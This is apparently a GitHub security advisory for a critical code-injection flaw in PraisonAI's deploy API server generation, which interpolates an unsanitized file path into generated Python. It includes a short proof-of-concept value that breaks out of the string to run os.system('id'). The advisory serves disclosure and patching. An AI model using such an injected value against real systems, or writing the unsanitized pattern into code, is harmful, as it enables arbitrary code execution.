GitHub Advisoryadvisory · PyPI

GHSA-g6j7-pffp-8whg PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation

CRITICAL Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-62176
Ecosystem
PyPI
Packages
PraisonAI
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-10-07

Affected packages

• PyPI PraisonAI: < 4.6.78 → fixed in 4.6.78

Description

Summary The `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code. Details `src/praisonai/praisonai/deploy/api.py` (line 80): ```python code = f'''... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ...''' ``` The generated code is then executed (line 190): ```python subprocess.Popen(['python', server_file]) ``` `agents_file` is never sanitized or validated. A malicious value breaks out of the string context: ```python agents_file = '"); import os; os.system("id"); #' Generated code becomes: praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #") ``` The same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation. PoC ```python The injection: agents_file = '"); import os; os.system("id"); #' What the generated code looks like: template = f'praisonai = PraisonAI(agent_file="{agents_file}")' print(template) Output: praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #") ``` Impact • Arbitrary code execution on the machine running the deploy command • Supply chain risk if `agents_file` comes from a configuration file or CI/CD pipeline

Related

Alias · CVE (1)

  • CVE-2026-62176 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References